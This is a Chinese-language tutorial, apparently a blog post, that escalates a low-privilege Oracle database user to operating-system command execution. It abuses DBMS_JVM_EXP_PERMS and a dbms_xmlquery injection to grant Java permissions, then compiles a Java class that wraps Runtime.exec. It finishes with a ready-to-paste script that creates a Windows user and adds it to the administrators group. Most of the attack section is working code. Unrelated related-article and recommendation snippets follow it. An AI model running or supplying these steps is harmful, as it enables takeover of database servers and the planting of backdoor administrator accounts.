0x01 提权准备

这里我们先创建一个低权限的用户test

SQL> conn sys/admin123@orcl as sysdba;

已连接。

SQL> create user test identified by test;

然后查看一下权限

SQL> select * from session_privs;

PRIVILEGE

CREATE SESSION

如上显示,test没有JAVA权限,也只有CREATE SESSION权限

我们如果要通过数据库执行系统命令,那么首先要提升数据库用户的权限。

我们首先要获取java权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL

 FILES>>', 'execute', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermission权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

0x02 JAVA权限执行命令

用我们的test帐号登录

1、首先我们创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

2、然后我们获取java权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

3、创建我们用来执行命令的函数

select dbms_xmlquery.newcontext('declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

4、执行命令

select LinxRUNCMD('whoami') from dual;

0x03 存储过程执行命令

若我们有create procedure权限,而不只是create session这么苦逼时,我们可以创建一个java class然后用创建一个过程来进行调用

1、首先创建一个java class然后用procedure包装它进行调用

create or replace and resolve java source named JAVACMD as

    import java.lang.*;

    import java.io.*;

    public class JAVACMD

    {

       public static void execmd(String command) throws IOException

       {

               Runtime.getRuntime().exec(command);

       }

   }

   /

2、创建调用的包

create or replace procedure MYJAVACMD(command in varchar) as language java

    name 'JAVACMD.execmd(java.lang.String)';

/

3、执行我们的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');

会报错是因为代码中没有捕获异常,我们再执行一次即可

附上一把梭哈

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS

import java.lang.*;

import java.io.*;public class JAVACMD

{public static void execCommand (String command) throws IOException

{

Runtime.getRuntime().exec(command);

}

};/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)

AS LANGUAGE JAVA

NAME 'JAVACMD.execCommand (java.lang.String)';/

exec javacmdproc('cmd.exe /c net user qingxin qingxin /add');

exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');

Oracle数据库提权(dba权限执行系统命令)的更多相关文章

  1. Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...

  2. Oracle数据库提权

    一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...

  3. 删除oracle数据库用户的dba权限(当出现同一用户DBA可以登录,normal不能登录)“无法对SYS拥有的对象创建触发器”

    系统报错:“无法对SYS拥有的对象创建触发器”,搞不懂是什么原因了,到底这触发器要用什么用户才能建立啊? ORA-04089: 无法对 SYS 拥有的对象创建触发器 第一种方式: 首先,用sys用户a ...

  4. MySQL数据库提权(一)

    一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...

  5. RHSA-2017:2930-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  6. RHSA-2017:2299-中危: NetworkManager 和 libnl3 安全和BUG修复更新(本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  7. RHSA-2017:1842-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  8. RHSA-2018:0395-重要: 内核 安全和BUG修复更新(需要重启、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  9. 使用PLSQL 创建Oracle数据库用户并设置权限

    转至https://blog.csdn.net/ying890/article/details/14083029?utm_medium=distribute.pc_relevant_download. ...

随机推荐

  1. Spring Boot(一):快速开始

    Spring Boot(一):快速开始 本系列文章旨在使用最小依赖.最简单配置,帮助初学者快速掌握Spring Boot各组件使用,达到快速入门的目的.全部文章所使用示例代码均同步Github仓库和G ...

  2. android 滚动时间选择器

    一.概述 滚动时间选择现在貌似很常用,所以就总结一下,显示效果一般般 , 做个参考吧! 以上就是效果图,可以滚动选择 日期时间, 由于是在 5.0系统运行的,貌似5.0系统做了什么变动,下面的 &qu ...

  3. kubernetes部署jenkins(Docker in Docker)及认证

    引言 Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建.测试和部署软件. 本文将Jenkins的master与slave置于Pod中,部署在namespace:jenk ...

  4. JVM参数配置及详解 -Xms -Xmx -Xmn -Xss 调优总结

    堆大小设置JVM 中最大堆大小有三方面限制:相关操作系统的数据模型(32-bt还是64-bit)限制;系统的可用虚拟内存限制;系统的可用物理内存限制.32位系统 下,一般限制在1.5G~2G;64为操 ...

  5. HABSE表结构理解

    也分为行列,行是索引,锁定数据,查找数据只能通过行 列:建表时必须知道列族,真实列(列簇)在插入数据时候可以指定        查找指定列,必须带列族,列族1:name

  6. Linux 笔记 - 第十八章 Linux 集群之(二)LVS 负载均衡集群

    一.前言 Linux 集群从功能上可以分为两大类:高可用集群和负载均衡集群.上一篇已经讲解了 HA 高可用集群,此节讲解负载均衡集群. 负载均衡集群(Load Balance Cluseter,简称 ...

  7. 为什么使用B+Tree索引?

    什么是索引? 索引是一种数据结构,具体表现在查找算法上. 索引目的 提高查询效率 [类比字典和借书] 如果要查"mysql"这个单词,我们肯定需要定位到m字母,然后从下往下找到y字 ...

  8. MOOC C++笔记(二):类和对象基础

    第二周:类和对象基础 面向对象程序设计的四个基本特点 抽象.封装.继承.多态. 面向对象程序设计的过程 1.从客观事物抽象出类 抽象出的事物带有成员函数与成员变量(类似于带函数的结构体) 成员变量和成 ...

  9. 005:CSS三大重点之三:定位

    目录 1:定位模式和边偏移 2:定位模式 静态定位 相对定位:移动位置:脱标.占位置 绝对定位:脱标.占有位置. 拼爹型 子绝父相 固定定位:脱标.占有位置. 3:定位模式转换 3:z-index 前 ...

  10. Docker笔记(十一):Dockerfile详解与最佳实践

    Dockerfile是一个文本文件,包含了一条条指令,每条指令对应构建一层镜像,Docker基于它来构建一个完整镜像.本文介绍Dockerfile的常用指令及相应的最佳实践建议. 1. 理解构建上下文 ...